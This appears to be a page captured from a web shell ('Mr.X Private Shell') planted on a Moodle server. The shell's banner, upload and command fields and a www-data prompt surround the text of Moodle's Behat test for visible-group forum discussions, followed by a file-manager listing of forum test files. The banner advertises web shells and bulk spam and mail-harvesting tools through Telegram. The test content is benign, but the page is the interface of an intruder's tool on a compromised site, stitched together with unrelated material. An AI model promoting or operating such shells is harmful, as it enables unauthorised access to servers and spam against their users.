__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_forum
Feature: Posting to all groups in a visible group discussion is restricted to users with access to all groups
  In order to post to all groups in a forum with visible groups
  As a teacher
  I need to have the accessallgroups capability

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | teacher1@example.com |
      | student1 | Student | 1 | student1@example.com |
      | student2 | Student | 2 | student2@example.com |
      | student3 | Student | 3 | student3@example.com |
      | student4 | Student | 4 | student4@example.com |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1 | 0 |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | student1 | C1 | student |
      | student2 | C1 | student |
      | student3 | C1 | student |
      | student4 | C1 | student |
    And the following "groups" exist:
      | name    | course | idnumber | participation |
      | Group A | C1     | G1       | 1             |
      | Group B | C1     | G2       | 1             |
      | Group C | C1     | G3       | 1             |
      | Group D | C1     | G4       | 0             |
    And the following "group members" exist:
      | user | group |
      | teacher1 | G1 |
      | teacher1 | G2 |
      | student1 | G1 |
      | student2 | G1 |
      | student2 | G2 |
      | student3 | G4 |
    And the following "activities" exist:
      | activity   | name                   | course | idnumber     | groupmode |
      | forum      | Standard forum name    | C1     | groups       | 2         |
    And the following "mod_forum > discussions" exist:
      | forum  | name             | subject          | message          | group            |
      | groups | Initial Disc ALL | Initial Disc ALL | Disc ALL content | All participants |
      | groups | Initial Disc G1  | Initial Disc G1  | Disc G1 content  | G1               |
      | groups | Initial Disc G2  | Initial Disc G2  | Disc G2 content  | G2               |
      | groups | Initial Disc G3  | Initial Disc G3  | Disc G3 content  | G3               |

  Scenario: Teacher with accessallgroups can view all groups
    When I am on the "Standard forum name" "forum activity" page logged in as teacher1
    Then the "Visible groups" select box should contain "All participants"
    And the "Visible groups" select box should contain "Group A"
    And the "Visible groups" select box should contain "Group B"
    And the "Visible groups" select box should contain "Group C"
    And the "Visible groups" select box should not contain "Group D"
    And I select "All participants" from the "Visible groups" singleselect
    And I should see "Initial Disc ALL"
    And I should see "Initial Disc G1"
    And I should see "Initial Disc G2"
    And I should see "Initial Disc G2"
    And I select "Group A" from the "Visible groups" singleselect
    And I should see "Initial Disc ALL"
    And I should see "Initial Disc G1"
    But I should not see "Initial Disc G2"
    And I should not see "Initial Disc G3"
    And I select "Group B" from the "Visible groups" singleselect
    And I should see "Initial Disc ALL"
    And I should see "Initial Disc G2"
    But I should not see "Initial Disc G1"
    And I should not see "Initial Disc G3"

  Scenario: Teacher with accessallgroups can select any group when posting
    Given I am on the "Standard forum name" "forum activity" page logged in as teacher1
    When I click on "Add discussion topic" "link"
    And I click on "Advanced" "button"
    Then the "Group" select box should contain "All participants"
    And the "Group" select box should contain "Group A"
    And the "Group" select box should contain "Group B"
    And the "Group" select box should contain "Group C"
    And the "Group" select box should not contain "Group D"
    And I should see "Post a copy to all groups"

  Scenario: Teacher with accessallgroups can post in groups they are a member of
    Given I am on the "Standard forum name" "forum activity" page logged in as teacher1
    And I select "Group A" from the "Visible groups" singleselect
    When I click on "Add discussion topic" "link"
    And I click on "Advanced" "button"
    Then I should see "Post a copy to all groups"
    And I set the following fields to these values:
      | Subject | Teacher 1 -> Group B  |
      | Message | Teacher 1 -> Group B  |
      # Change the group in the post form.
      | Group   | Group B               |
    And I press "Post to forum"
    And I wait to be redirected
    # We should be redirected to the group that we selected when posting.
    And the field "Visible groups" matches value "Group B"
    And I should see "Group B" in the "Teacher 1 -> Group B" "table_row"
    And I should not see "Group A" in the "Teacher 1 -> Group B" "table_row"
    And I should not see "Group C" in the "Teacher 1 -> Group B" "table_row"
    # It should also be displayed under All participants
    And I select "All participants" from the "Visible groups" singleselect
    And I should see "Group B" in the "Teacher 1 -> Group B" "table_row"
    And I should not see "Group A" in the "Teacher 1 -> Group B" "table_row"
    And I should not see "Group C" in the "Teacher 1 -> Group B" "table_row"
    # It should not be displayed in Groups A, or C.
    And I select "Group A" from the "Visible groups" singleselect
    And I should not see "Teacher 1 -> Group B"
    And I select "Group C" from the "Visible groups" singleselect
    And I should not see "Teacher 1 -> Group B"

  Scenario: Teacher with accessallgroups can post in groups they are not a member of
    Given I am on the "Standard forum name" "forum activity" page logged in as teacher1
    And I select "Group A" from the "Visible groups" singleselect
    When I click on "Add discussion topic" "link"
    And I click on "Advanced" "button"
    Then I should see "Post a copy to all groups"
    And I set the following fields to these values:
      | Subject | Teacher 1 -> Group C  |
      | Message | Teacher 1 -> Group C  |
      | Group   | Group C               |
    And I press "Post to forum"
    And I wait to be redirected
    # We should be redirected to the group that we selected when posting.
    And the field "Visible groups" matches value "Group C"
    # We redirect to the group posted in automatically.
    And I should see "Group C" in the "Teacher 1 -> Group C" "table_row"
    And I should not see "Group A" in the "Teacher 1 -> Group C" "table_row"
    And I should not see "Group B" in the "Teacher 1 -> Group C" "table_row"
    # It should also be displayed under All participants
    And I select "All participants" from the "Visible groups" singleselect
    And I should see "Group C" in the "Teacher 1 -> Group C" "table_row"
    And I should not see "Group A" in the "Teacher 1 -> Group C" "table_row"
    And I should not see "Group B" in the "Teacher 1 -> Group C" "table_row"
    # It should not be displayed in Groups A, or B.
    And I select "Group A" from the "Visible groups" singleselect
    And I should not see "Teacher 1 -> Group C"
    And I select "Group B" from the "Visible groups" singleselect
    And I should not see "Teacher 1 -> Group C"

  Scenario: Teacher with accessallgroups can post to all groups
    Given I am on the "Standard forum name" "forum activity" page logged in as teacher1
    When I click on "Add discussion topic" "link"
    And I click on "Advanced" "button"
    And I set the following fields to these values:
      | Subject                   | Teacher 1 -> Post to all  |
      | Message                   | Teacher 1 -> Post to all  |
      | Post a copy to all groups | 1                       |
    And I press "Post to forum"
    And I wait to be redirected
    # Posting to all groups means that we should be redirected to the page we started from.
    And the field "Visible groups" matches value "All participants"
    And I select "Group A" from the "Visible groups" singleselect
    Then I should see "Group A" in the "Teacher 1 -> Post to all" "table_row"
    And I should not see "Group B" in the "Teacher 1 -> Post to all" "table_row"
    And I should not see "Group C" in the "Teacher 1 -> Post to all" "table_row"
    And I select "Group B" from the "Visible groups" singleselect
    And I should see "Group B" in the "Teacher 1 -> Post to all" "table_row"
    And I should not see "Group A" in the "Teacher 1 -> Post to all" "table_row"
    And I should not see "Group C" in the "Teacher 1 -> Post to all" "table_row"
    And I select "Group C" from the "Visible groups" singleselect
    And I should see "Group C" in the "Teacher 1 -> Post to all" "table_row"
    And I should not see "Group A" in the "Teacher 1 -> Post to all" "table_row"
    And I should not see "Group B" in the "Teacher 1 -> Post to all" "table_row"
    # No point testing the "All participants".

  Scenario: Students can view all groups
    When I am on the "Standard forum name" "forum activity" page logged in as student1
    Then the "Visible groups" select box should contain "All participants"
    And the "Visible groups" select box should contain "Group A"
    And the "Visible groups" select box should contain "Group B"
    And the "Visible groups" select box should contain "Group C"
    And the "Visible groups" select box should not contain "Group D"
    And I select "All participants" from the "Visible groups" singleselect
    And I should see "Initial Disc ALL"
    And I should see "Initial Disc G1"
    And I should see "Initial Disc G2"
    And I should see "Initial Disc G2"
    And I select "Group A" from the "Visible groups" singleselect
    And I should see "Initial Disc ALL"
    And I should see "Initial Disc G1"
    But I should not see "Initial Disc G2"
    And I should not see "Initial Disc G3"
    And I select "Group B" from the "Visible groups" singleselect
    And I should see "Initial Disc ALL"
    And I should see "Initial Disc G2"
    But I should not see "Initial Disc G1"
    And I should not see "Initial Disc G3"

  Scenario: Students in one group can only post in their group
    When I am on the "Standard forum name" "forum activity" page logged in as student1
    Then I should see "Group A"
    And I click on "Add discussion topic" "link"
    And I click on "Advanced" "button"
    And I should see "Group A"
    And I should not see "Group B"
    And I should not see "Group C"
    And I should not see "Group D"
    And I should not see "Post a copy to all groups"
    And I set the following fields to these values:
      | Subject | Student -> B |
      | Message | Student -> B |
    And I press "Post to forum"
    And I wait to be redirected
    And I should see "Group A" in the "Student -> B" "table_row"
    And I should not see "Group B" in the "Student -> B" "table_row"

  Scenario: Students in multiple group can post in all of their group individually
    When I am on the "Standard forum name" "forum activity" page logged in as student2
    And I select "Group A" from the "Visible groups" singleselect
    And I click on "Add discussion topic" "link"
    And I click on "Advanced" "button"
    And the "Group" select box should not contain "All participants"
    And the "Group" select box should contain "Group A"
    And the "Group" select box should contain "Group B"
    And the "Group" select box should not contain "Group C"
    And the "Group" select box should not contain "Group D"
    And I should not see "Post a copy to all groups"
    And I set the following fields to these values:
      | Subject | Student -> B  |
      | Message | Student -> B  |
      | Group   | Group B       |
    And I press "Post to forum"
    And I wait to be redirected
    # We should be redirected to the group that we selected when posting.
    And the field "Visible groups" matches value "Group B"
    And I should see "Group B" in the "Student -> B" "table_row"
    And I should not see "Group A" in the "Student -> B" "table_row"
    And I select "Group A" from the "Visible groups" singleselect
    And I should not see "Student -> B"
    # Now try posting in Group A (starting at Group B)
    And I select "Group B" from the "Visible groups" singleselect
    And I click on "Add discussion topic" "link"
    And I click on "Advanced" "button"
    And the "Group" select box should not contain "All participants"
    And the "Group" select box should contain "Group A"
    And the "Group" select box should contain "Group B"
    And the "Group" select box should not contain "Group C"
    And I should not see "Post a copy to all groups"
    And I set the following fields to these values:
      | Subject | Student -> A  |
      | Message | Student -> A  |
      | Group   | Group A       |
    And I press "Post to forum"
    And I wait to be redirected
    # We should be redirected to the group that we selected when posting.
    And the field "Visible groups" matches value "Group A"
    And I should see "Group A" in the "Student -> A" "table_row"
    And I should not see "Group B" in the "Student -> A" "table_row"
    And I select "Group B" from the "Visible groups" singleselect
    And I should not see "Student -> A"

  Scenario: Students in no group can see all discussions, but not post.
    Given I log in as "student4"
    And I am on "Course 1" course homepage
    When I follow "Standard forum name"
    And I select "All participants" from the "Visible groups" singleselect
    Then I should see "Initial Disc ALL"
    And I should see "Initial Disc G1"
    And I should see "Initial Disc G2"
    And I should see "Initial Disc G2"
    And I should see "You are not able to create a discussion"
    And I should not see "Add discussion topic"

  Scenario: Students in non-participation groups can see all discussions, but not post.
    Given I log in as "student3"
    And I am on "Course 1" course homepage
    When I follow "Standard forum name"
    And I select "All participants" from the "Visible groups" singleselect
    Then I should see "Initial Disc ALL"
    And I should see "Initial Disc G1"
    And I should see "Initial Disc G2"
    And I should see "Initial Disc G2"
    And I should see "You are not able to create a discussion"
    And I should not see "Add discussion topic"

Filemanager

Name Type Size Permission Actions
add_forum.feature File 2.57 KB 0777
add_forum_inline.feature File 1.48 KB 0777
advanced_search.feature File 5.92 KB 0777
behat_mod_forum.php File 20.43 KB 0777
discussion_display.feature File 5.29 KB 0777
discussion_lock.feature File 3.77 KB 0777
discussion_navigation.feature File 6.05 KB 0777
discussion_post_threshold_warning.feature File 5.5 KB 0777
discussion_subscriptions.feature File 17.77 KB 0777
edit_post_student.feature File 2.8 KB 0777
edit_post_teacher.feature File 2.81 KB 0777
edit_tags.feature File 3.04 KB 0777
favourite_discussion.feature File 2.09 KB 0777
forum_activity_breadcrumbs.feature File 2.69 KB 0777
forum_activity_completion.feature File 5.88 KB 0777
forum_activity_completion_pass_grade.feature File 8.87 KB 0777
forum_display_word_count.feature File 3.2 KB 0777
forum_export.feature File 9.66 KB 0777
forum_one_discussion_type.feature File 2.63 KB 0777
forum_subscribers_navigation.feature File 2.92 KB 0777
forum_subscription_landing_page.feature File 1.26 KB 0777
forum_subscriptions.feature File 3.54 KB 0777
forum_subscriptions_availability.feature File 4.71 KB 0777
forum_subscriptions_default.feature File 5.56 KB 0777
forum_subscriptions_management.feature File 2.66 KB 0777
forum_subscriptions_mode_behaviour.feature File 1.77 KB 0777
grade_forum.feature File 8.73 KB 0777
grade_view_discussion.feature File 2.73 KB 0777
groups_in_course_no_groups_in_forum.feature File 2.3 KB 0777
guest_users.feature File 6.51 KB 0777
h5p_inline_editing_content.feature File 6.27 KB 0777
inpage_reply.feature File 2.08 KB 0777
move_discussion.feature File 1.45 KB 0777
my_forum_posts.feature File 1.69 KB 0777
no_groups_in_course.feature File 3.47 KB 0777
portfolio_export.feature File 1.8 KB 0777
post_to_multiple_groups.feature File 5.17 KB 0777
posts_ordering_blog.feature File 3.3 KB 0777
posts_ordering_general.feature File 3.44 KB 0777
private_replies.feature File 2.72 KB 0777
recent_activity.feature File 6.86 KB 0777
separate_group_discussions.feature File 14.04 KB 0777
separate_group_grade_forum.feature File 4.13 KB 0777
separate_group_single_group_discussions.feature File 3.31 KB 0777
single_forum_discussion.feature File 1.74 KB 0777
split_forum_discussion.feature File 2.48 KB 0777
timed_discussions.feature File 1.98 KB 0777
track_read_posts.feature File 8.11 KB 0777
visible_group_discussions.feature File 14.08 KB 0777
Filemanager